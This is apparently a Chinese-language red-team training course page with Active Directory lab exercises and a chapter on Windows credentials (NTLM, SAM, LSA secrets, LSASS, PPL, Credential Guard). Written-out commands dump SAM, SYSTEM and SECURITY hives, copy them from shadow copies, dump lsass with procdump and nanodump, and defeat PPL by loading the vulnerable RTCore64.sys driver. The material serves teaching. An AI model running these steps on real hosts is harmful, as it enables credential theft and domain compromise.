1：在本章节，出于教学目的，有的内容我们以白盒的视角进行讲解的，即默认我们已经拿下了某主机/用户，如 ADCS 的利用。让我们回归到黑盒视角，即所有的权限和凭证都需要我们从 0 开始获得。使用截至目前我们所教授的利用手法，整理一下

例如，在 ADCS 的利用小节，我们默认已经知道了 justin 的凭证，从而利用了 ADCS 实现 med-factory 域内的提权。但如果要从黑盒角度，路线是这样的：

```
步骤 1：在 PROD 域中发现 jason 不需要预认证，使用 ASREPRoasting 攻击，得到了 jason 的明文凭证

步骤 2：在 MED-FACTORY 域中发现了 jason 用户，可能存在密码重用，于是获得了 med-factory\jason 的访问

步骤 3：med-factory\jason 对 justin 具有修改帐号的权限，修改 justin 的帐号获得访问

步骤 4：利用 ADCS 接管 med-factory 域
```

这样的攻击路线具有多条且可能相互交织，请整理出所有可能的攻击路径。根据已掌握信息，我们最多可以拿下哪些用户与域？

2：复现 Kerberoasting 与 ASREPRoasting 攻击

3：复现委派的利用，以及在 med-factory 域中，使用练习帐号 **deleg\_exec:Passw0rddeleg** 来获得对 Dc03 的访问

4：尝试使用 Impacket 实现一键 RBCD 的利用

5：在 S4U2Self 部分，我们用 rubeus 进行的利用，将 Dc02$ 的 TGT 变为 CIFS 的 TGS。请使用 **Asn1 Editor** ([https://github.com/PKISolutions/Asn1Editor.WPF](https://github.com/PKISolutions/Asn1Editor.WPF)) 手动修改 Dc02$ 的 TGT，实现同样的效果。

6：更新之前的对 .NET 应用一键执行任意 SQL 语句的脚本，修改为一键开启 xp\_cmdshell 并执行代码 (不要求有回显，但能实现是最好的)

7：使用 SqlRecon 进行 xp\_dirtree

8：使用 PowerUpSQL 执行 xp\_cmdshell 代码

9：尝试亲自编译 .NET DLL 并转换为 Hex 格式，实现 CLR RCE

10：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 OLE 自动化存储的方法。

11：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 CLR 的方法。

12：从 Srv01 跨越 2 层链接对 Web02 进行远程代码执行，使用任意 RCE 的方法

13：复现 ADCS 的利用

14：复现 GPO 的利用

15：作为一个小练习，请学员们完成如下表格，完成后可以当做自己的一个 Cheatsheet。

<table border="1" id="bkmrk-dacl-%E5%AF%B9%E8%B1%A1%E7%B1%BB%E5%9E%8B-%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF-%E5%85%B7%E4%BD%93%E6%AD%A5%E9%AA%A4-"><colgroup><col></col><col></col><col></col><col></col></colgroup><tbody><tr><td>DACL</td><td>对象类型</td><td>利用思路</td><td>具体步骤</td></tr><tr><td>WriteDacl</td><td>用户</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>组</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>计算机</td><td>  
</td><td>  
</td></tr><tr><td>GenericAll</td><td>用户</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>组</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>计算机</td><td>  
</td><td>  
</td></tr><tr><td>GenericWrite</td><td>用户</td><td>为目标用户设置 SPN 然后对其进行 Kerberoasting 攻击

或 为目标用户设置禁用预认证，然后对其进行 ASREPRoasting 攻击

</td><td>  
</td></tr><tr><td>  
</td><td>组</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>计算机</td><td>  
</td><td>  
</td></tr><tr><td>ForceChangePassword</td><td>用户</td><td>  
</td><td>  
</td></tr><tr><td>WriteOwner</td><td>任意</td><td>  
</td><td>  
</td></tr><tr><td>AllExtendedRights</td><td>用户</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>组</td><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>计算机</td><td>  
</td><td> </td></tr></tbody></table>

16：请根据 **CVE-2021-42278** 的细节描述，使用 **PowerMad、PowerView、Rubeus** 等工具手动利用该漏洞 (即不使用一键利用工具或脚本)。

# 面试专题

# 章节9：Windows凭证理论



# NTLM 认证

在之前的内容中，我们接触到了多种类型的凭证，包括了明文密码、NTLM 哈希、AES 256 密钥、NetNTLM 等。掌握明文密码显然是一项优势，然而，我们不是总能获得明文密码的，更多时候我们会得到 NTLM 哈希。如果用户设置了强密码，我们就无法破解 NTLM 哈希并快速恢复明文密码，但幸运的是，与许多其他类型的哈希不同，我们可以通过多种方式利用 NTLM 哈希进而实现认证。

### **NTLM**

  
我们之前讨论过了 Kerberos 身份认证，它是 NTLM 身份认证的后继者。Kerberos 认证是基于票据的，而 NTLM 认证则是基于**质询响应**的机制。NTLM 是一套 Microsoft 安全协议，用于验证用户身份并确保其活动的完整性和机密性，当客户端通过 IP 地址向服务器进行身份认证时所使用。虽然 Kerberos 协议是当今 AD 的默认身份认证协议，NTLM 认证仍被支持，一些应用程序仍然偏好 NTLM 身份认证，而且如果 Kerberos 在某些情况下无法对用户进行身份认证时，NTLM 将作为备份。

NTLM 身份认证协议由多个步骤组成，下面将对其进行深入说明。

1：用户访问客户端电脑，提供**域名**、**用户名**、**密码**。客户端计算出密码的哈希并将明文用户名发送到服务器。

2：服务器生成一个称为**挑战**的随机数，并将其发送回客户端。

3：客户端用用户密码的哈希对挑战进行加密，并将结果 (**响应**) 返回给服务器。

4：**服务器**向**域控制器**发送**用户名**、**挑战**和**响应**

5：域控制器根据用户密码查找哈希，它比较加密的挑战。

6：服务器将响应发送回客户端，认证成功

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/1prmpQfqGoZscY7e-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/1prmpQfqGoZscY7e-image.png)

# SAM 安全账户管理器

安全帐户管理器 (SAM) 数据库以 NTLM 哈希格式存储本地 Windows 凭证。在本地登录期间，用户输入密码后，本地安全机构 (LSA) 通过根据存储在 SAM 中的数据验证凭证来验证登录尝试。当输入的密码的哈希与 SAM 中的 NTLM 哈希匹配时，登录成功。当我们在主机上得到了提升特权，我们就可以通过多种方式从 SAM 中提取凭证。在域环境中，本地帐户的凭证对我们来说可能看起来不那么令人兴奋。但是，考虑到密码重用的可能性，如果我们获得主机上本地管理员帐户的 NTLM 哈希或明文密码，域用户可能会在另一台主机上重用该凭证。一个实际生活中的例子可以是，某服务器管理员同时管理 2 个 SQL 数据库服务器，为了方便记忆，于是给这 2 台服务器设置了相同的本地管理员密码。

至于从 SAM 中导出哈希，我们有多种方法，分别如下。

### **通过工具在线导出**

我们可以借助诸如 mimikatz 之类的工具在线导出 SAM 中的凭证，十分方便。我们需要获得一个受害主机的 SYSTEM 会话。

##### **mimikatz**

考虑到 Cobalt Strike 自带了 Mimikatz 的命令，我们可以直接使用内置的 mimikatz 导出 SAM 中的凭证。命令为 **mimikatz lsadump::sam**

不出所料，我们得到的都是本地帐号

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/btGeORh36mKZ29c7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/btGeORh36mKZ29c7-image.png)

##### **C2 内置命令**

导出 SAM 数据库中的凭证并不是 mimikatz 的独有功能，因此诸多 C2 也集成了导出 SAM 的内置命令，在 Cobalt Strike 中，也有这样的一个单独命令的存在，使用 **hashdump** 命令即可。

输出十分简洁明了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/12rDfK7qSlpTPea0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/12rDfK7qSlpTPea0-image.png)

##### **Impacket 远程导出**

Impacket 中的 secretdump.py 脚本可以在提供凭证后远程导出 SAM 中的凭证，通过**远程注册表**的方法。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/zXD6IsmFE7Y3rvKX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/zXD6IsmFE7Y3rvKX-image.png)

### **离线导出**

使用 mimikatz 之类的工具在线导出固然很方便，我们也可以将相关文件复制或导出，然后进行离线解析从而获得之中的凭证。

##### **注册表复制**

分别从注册表 HKLM\\SAM 和 HKTM\\SYSTEM 的位置拷贝 SAM 数据库和 SYSTEM。

```powershell
reg save HKLM\SYSTEM C:\Windows\Tasks\SYSTEM
reg save HKLM\SAM C:\Windows\Tasks\SAM
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/3tqptp4QEbARp5xM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/3tqptp4QEbARp5xM-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/dXMwnLjeOrXOeEPV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/dXMwnLjeOrXOeEPV-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/zHJ63dyw3joZFn7a-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/zHJ63dyw3joZFn7a-image.png)

为什么导出的是 SAM 与 SYSTEM 呢？SAM 用于存储本地账户的凭证，而SYSTEM 包含了用于解密 SAM 与 LSA 机密 (稍后会说) 的信息。

在这之后，我们可以通过多种工具来解密，例如 mimikatz，impacket 等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/OxWNNsJGkPGBJEEz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/OxWNNsJGkPGBJEEz-image.png)

#####  

##### **拷贝 SAM 数据库文件**

SAM 数据库的文件地址是 **C:\\Windows\\System32\\config\\SAM**，对应的 SYSTEM 则也在同目录下。我们是否可以直接复制/下载该文件，然后通过工具来解密呢？

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/KsEWnSQRuKJiTpJq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/KsEWnSQRuKJiTpJq-image.png)

实际上是不可行的，因为该文件被锁定了，无法对其进行读和写。但我们可以通过**卷影复制**实现。在提升特权的命令行中，使用 **wmic** 创建一个新的卷影并且指定来源磁盘，这样可以创建一个 C 盘的快照。我们可以用 **vssadmin** 命令来验证我们的操作。接着，我们可以从影拷贝中拷贝出 SAM 数据库 以及 SYSTEM 文件。之后用工具来解密 SAM 数据库。

```powershell
wmic shadowcopy call create Volume='C:\'
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/TUVN01FJShwACT8X-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/TUVN01FJShwACT8X-image.png)

列举当前的所有卷影拷贝：

```powershell
vssadmin list shadows
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/NtleQGIKBQJKu2Ef-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/NtleQGIKBQJKu2Ef-image.png)

可被复制与下载的 **SAM** 与 **SYSTEM** 在如下位置：

```
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\Config\SAM
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\Config\SYSTEM
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/VlYOZSotxTwlKUfP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/VlYOZSotxTwlKUfP-image.png)

# LSA 机密

LSA，即 **Local Security Authority**，**本地安全机构**，是 Microsoft Windows 操作系统中安全子系统的核心组件。本地安全机构 (LSA) 负责管理系统的交互式登录、给用户分发安全访问令牌、实施本地安全策略等。 而LSA 机密是 Windows 中本地安全机构 (LSA) 使用的存储。

LSA 的目的是管理系统的本地安全策略，根据定义，这意味着它将存储有关用户登录、用户身份验证及其 LSA 机密等的私人数据。只有 **SYSTEM** 权限才可以访问 LSA 机密。LSA 机密所存储系统敏感数据有**用户密码**、**IE 密码**、**服务帐号密码**、**SQL 密码**、系**统账户密码**、**计划任务中配置的帐号密码**等。

提取 LSA 机密同样有多种方法，都类似于提取 SAM 中的凭证。

### **在线导出**

目前大部分 C2 尚未集成导出 LSA 机密的命令或功能，但我们可以依旧使用 mimikatz 或者 Impacket 导出。导出 LSA 机密的命令为 **lsadump::secrets**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/59HSDz7fSxZJRJKa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/59HSDz7fSxZJRJKa-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/T8mFulvd9xQXaauC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/T8mFulvd9xQXaauC-image.png)

### **离线导出**

LSA 机密被保存在注册表的 **HKEY\_LOCAL\_MACHINE\\SECURITY\\Policy\\Secrets** 位置，而文件则位于 **C:\\Windows\\System32\\Config\\SECURITY**。

注册表 Hive **HKLM\\SECURITY** 中存储了明文密码、域缓存凭证、NTLM 哈希等形式的凭证。

```
reg save HKLM\SYSTEM C:\Windows\Tasks\SYSTEM
reg save HKLM\SECURITY C:\Windows\Tasks\SECURITY
```

<div class="css-1dbjc4n r-6koalj r-18u37iz" id="bkmrk-token%3A%3Aelevate"></div><div class="css-1dbjc4n r-6koalj r-18u37iz" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlLWxpbmUlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMnRva2VuJTNBJTNBZWxldmF0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjRiNDUyYzA3ZmUzMTRlNzZiZmMxNGRhMGNiMThkMDkyJTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyYzJiNTVjMmU2YTc4NDFmNjkxOTdlYTNhZTc1NDZlODYlMjIlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlLWxpbmUlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmxzYWR1bXAlM0ElM0FzZWNyZXRzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlMkMlMjJzZWxlY3Rpb25zJTIyJTNBJTVCJTVEJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyYTMxMTRmNjcxMjU4NDk1NTk4ODU4M2E5MTQwMjdkODQlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJmNzFjZjZiMmM4NzU0NDQ0OTYyZmU5ZDMwMmQ1ZDkxMiUyMiU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMmRkYTljMTVhM2I0ZjRhY2I5OTUzNTRjODI1MzBlMWQ2JTIyJTdE" id="bkmrk-lsadump%3A%3Asecrets"><div class="css-1dbjc4n r-6koalj r-18u37iz" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlLWxpbmUlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMnRva2VuJTNBJTNBZWxldmF0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjRiNDUyYzA3ZmUzMTRlNzZiZmMxNGRhMGNiMThkMDkyJTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyYzJiNTVjMmU2YTc4NDFmNjkxOTdlYTNhZTc1NDZlODYlMjIlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlLWxpbmUlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmxzYWR1bXAlM0ElM0FzZWNyZXRzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlMkMlMjJzZWxlY3Rpb25zJTIyJTNBJTVCJTVEJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyYTMxMTRmNjcxMjU4NDk1NTk4ODU4M2E5MTQwMjdkODQlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJmNzFjZjZiMmM4NzU0NDQ0OTYyZmU5ZDMwMmQ1ZDkxMiUyMiU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMmRkYTljMTVhM2I0ZjRhY2I5OTUzNTRjODI1MzBlMWQ2JTIyJTdE"><div class="css-901oao r-1nf4jbm r-13awgt0 r-uibjmv r-1b43r93 r-majxgm r-hbpseb r-1v6e3re r-i023vh r-1xnzce8 r-yrgyi6" dir="auto">  
</div></div></div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/RBIhrw2lk8eYr49H-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/RBIhrw2lk8eYr49H-image.png)

# LSASS 本地安全机构子系统服务

在上个小节讨论 LSA 机密的时候，提及了一下 LSA，即本地安全机构。在 Windows 上，有这么一个进程 **lsass.exe**，绝对是攻击者的首要攻击目标之一。虽然我们中的一些人知道可以从 lsass.exe 提取凭证，但 LSASS 本质上是什么呢，与 LSA 的联系又是什么呢？让我们先搞清楚这些。

### **名词与概念**

本地安全机构 (LSA) 和本地安全机构子系统服务 (LSASS) 是 Windows 操作系统中处理安全和用户身份认证的密切相关组件。

##### **本地安全机构**

LSA 是 Windows 操作系统的一个组件，可执行安全策略并管理用户身份认证。它为各种安全支持提供程序 (SSP) 提供框架，这些提供程序处理特定的身份验证协议，例如 NTLM、Kerberos 等。LSA 负责根据 SSP 提供的身份验证数据生成访问令牌和管理用户会话。LSA 还维护 SAM 数据库。

#####   
**本地安全机构子系统服务**

LSASS 是一个 Windows 进程 (lsass.exe)，实现了 LSA 概念并管理 SSP。它负责代表 LSA 执行安全策略和处理用户身份验证请求。LSASS 进程是 Windows 安全模型的重要组成部分，并以高权限运行，这使其成为寻求提取敏感信息（如密码或身份验证令牌）的攻击者的常见目标。  
  
总之，LSA 是 Windows 中管理用户身份认证和执行安全策略的安全组件，而 LSASS 是实现 LSA 并运行 SSP 的进程。 两者相互关联，LSASS 进程负责 LSA 组件的功能。

##### **认证包/安全支持提供程序 AP/SSP**

AP/SSP 通过分析登陆数据来认证 Windows 用户，不同的 AP/SSP 对多种登陆过程以及认证协议提供支持。AP/SSP 以 DLL 形式存在，被 LSA 所加载和使用。常见的 AP/SSP 有 NTLM，Kerberos，WDigest，Credman 等。

### **从 lsass.exe 进程中导出凭证**

正因为 LSASS 用于处理用户身份认证，因此在内存中保存了凭证，而当攻击者获得提升特权后，可以从中提取出明文或哈希形式的凭证。大家所知的 Mimikatz 中的 sekurlsa::logonpasswords 正是用于从 LSASS 内存中提取凭证的命令，该命令针对多种被 Windows 所使用的 AP/SSP，例如 Kerberos，MSV，WDigest。

Cobalt Strike 自带 mimikatz 的功能，考虑到 **sekurlsa::logonpasswords** 的使用频率很高，也有着 **logonpasswords** 短命令的形式，功能是一样的。我们能看到，以下截图中的用户 (包括主机账户) 的凭证可以来源于多个 SSP，甚至存在着明文形式的密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/st6xXEgAyg6aFv1z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/st6xXEgAyg6aFv1z-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/X37fzk30wTSP2NQa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/X37fzk30wTSP2NQa-image.png)

除了在线从 lsass.exe 中提取凭证，也可以将 lsass.exe 进程 (甚至整个内存) 导出成文件，让 mimikatz 等工具离线分析并提取凭证。导出的方式多种多样，使用系统内置方法的话，可以是任务管理员，导出 lsass.exe 进程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/eNxrEXgiaXRcrArf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/eNxrEXgiaXRcrArf-image.png)

Windows 的 system internal 中的 **ProdDump**

```powershell
procdump64.exe -64 -accepteula -ma lsass.exe lsass.dmp
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/dv1ZqKGKSu8oaRxT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/dv1ZqKGKSu8oaRxT-image.png)

将导出的文件下载到自己主机，用 **pypykatz** ([https://github.com/skelsec/pypykatz)](https://github.com/skelsec/pypykatz)) 离线解析。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/agNLdhl59GXagQhg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/agNLdhl59GXagQhg-image.png)

此外，BOF nanodump ([https://github.com/fortra/nanodump](https://github.com/fortra/nanodump)) 可以在进程内导出 lsass，避免了工具落入文件系统，通过反射式加载在进程内执行导出行为。而且 nanodump 支持多种特性与参数，以增强 OPSEC，甚至绕过特定的安全控制。

克隆了该项目之后，导入 cna 脚本

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/kCpMc0MLaDlIcBhT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/kCpMc0MLaDlIcBhT-image.png)

根据 Gitub 中的案例，我们通过“克隆”进程以间接地打开 **lsass.exe** 的句柄并导出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/g5j2dCToK0763Lon-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/g5j2dCToK0763Lon-image.png)

总之，如今实现导出 lsass.exe 进程的工具与方法很多，我们需要尽可能以更 OPSEC 的方式去达成。

# PPL

随着凭证导出被攻击者的滥用，微软也开发出了相应的防御措施，例如 PPL。对于 IT 管理员，PPL 非常容易部署，是一个 quick-win。虽然 PPL 是可以被绕过的，但还是给导出凭证的操作增添了额外的难度。我们之前说过，Windows 有 4 种完整度等级，而 PPL，则是更高级的，这意味着即便是 SYSTEM 权限也无法访问被 PPL 保护的进程，而 lsass 支持 PPL保护。我们可以在注册表的如下位置添加 RunAsPPL 从而启用 PPL。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/zaxjDAkfkMnVD0nv-image.png)](http://raven-medicine.com/uploads/images/gallery/2022-10/zaxjDAkfkMnVD0nv-image.png)

对于启用了 PPL 的主机 **SRV01**，无论是用 nanodump 还是 mimikatz 或其他类似工具，我们都无法正常导出 lsass 进程。nanodump 的报错告诉我们，无法获得对 lsass.exe 进程的句柄，即便我们已经是 SYSTEM 特权了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/6ezkr0wBGhVGQL6t-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/6ezkr0wBGhVGQL6t-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/PWgt1m95WL3GxrgV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/PWgt1m95WL3GxrgV-image.png)

PID 748 正是 **lsass.exe**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/tZ40LlRfNcMpHLoQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/tZ40LlRfNcMpHLoQ-image.png)

那么，我们可以怎么绕过 PPL 的限制呢？具备管理员权限后，我们当然可以删除 RunAsPPL 的注册表然后重启，但这样对于提取 lsass.exe 中的凭证也无意义可言了。既然 PPL 是驱动级的，那么我们自然可以通过加载签名的驱动来反制。但是，编写这样的驱动并为其签名，并不是一个门槛很低的选项。因此，我们可以去加载存在任意代码执行的脆弱驱动，例如 **RTCore64.sys**。该驱动存在 **CVE-2019-16098** 的漏洞，因为允许用户读写任意内存、IO端口等，因此会导致高特权下的代码执行，进而可被用于绕过微软的驱动签名 (默认情况下只允许加载签名的驱动) 策略部署恶意代码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qMaGkBS2UIQTWG40-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qMaGkBS2UIQTWG40-image.png)

类似的驱动还有 **PROCEXP152.SYS**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/k56RwP9qjBnYG5i3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/k56RwP9qjBnYG5i3-image.png)

因此，我们可以通过加载这些脆弱的且具有签名的驱动，实现内核级的代码执行而绕过 PPL。PPLControl ([https://github.com/itm4n/PPLcontrol](https://github.com/itm4n/PPLcontrol)) 正是利用了脆弱的驱动从而实现 PPL 的绕过。我们需要得到 RTCore64.sys 这个驱动文件，以及编译后的 PPLcontrol.exe。

一并上传到 Srv01 上，加载驱动并运行：

```powershell
sc.exe create RTCore64 type= kernel start= auto binPath= C:\windows\tasks\RTCore64.sys DisplayName= "control"
net start RTCore64
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/eHbHZkcG1eA3jlTr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/eHbHZkcG1eA3jlTr-image.png)

列举受保护的进程，我们发现**本地安全机构**也在其中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HwhfvguvIelUwHIl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HwhfvguvIelUwHIl-image.png)

记录下其 PID，然后将 PPL 保护给脱离。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qbQzDS1ZJXxaqOo4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qbQzDS1ZJXxaqOo4-image.png)

这样，我们就能导出 lsass.exe 中的凭证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/A82qEKwatb53rbQu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/A82qEKwatb53rbQu-image.png)

恢复 LSA 的 PPL 保护，这样我们再次不能从 lsass.exe 中导出凭证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/QLBk4nOTBghAXHI7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/QLBk4nOTBghAXHI7-image.png)

实际上，我们甚至可以从用户态绕过 PPL。PPLDump ([https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump)) 就是这么一个工具。它利用了一个技巧，使得系统创建一个新的任意的**已知 DLL**。PPL 并不检查**已知 DLL 的数字签名**，因此从而进行了 DLL 劫持攻击并在 PPL 中实现代码执行。该工具随着去年的一次更新补丁而失效，但遇到不那么新的系统是可以尝试的。PPLmedic ([https://github.com/itm4n/PPLmedic](https://github.com/itm4n/PPLmedic)) 也是一款在用户态就能绕过 PPL 的工具。nanodump 都集成了这 2 个工具的功能，因此我们并不需要单独去下载和编译 它们了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/xVwNhcOJTSkWd2zi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/xVwNhcOJTSkWd2zi-image.png)

在 Srv01 上，PPLdump 的方法成功了，而 PPLmedic 却失败了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/kfbk0gCicfIZwTkv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/kfbk0gCicfIZwTkv-image.png)

# Credential Guard  凭据保护

**Windows Defender Credential Guard 凭据保护** 是一种虚拟化安全技术以防止 NTLM 哈希、Kerberos 票据、应用程序所存储的凭证的窃取进而组织。开启了凭据保护的主机，会分别有 **Lsass.exe** 进程以及 **LsaIso.exe** 进程。

凭据保护使用基于虚拟化的安全性 (VBS) 来隔离机密。VBS 利用硬件虚拟化功能创建一个安全的内存区域，该区域与普通操作系统分开。要了解攻击者在处理凭据保护时面临的挑战，可以参考在一个虚拟机内运行的正常操作系统和在另一个具有单独内核的虚拟机内运行的安全进程。这些 VM 由 Hypervisor 管理。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/fPhImCnOduisi33y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/fPhImCnOduisi33y-image.png)

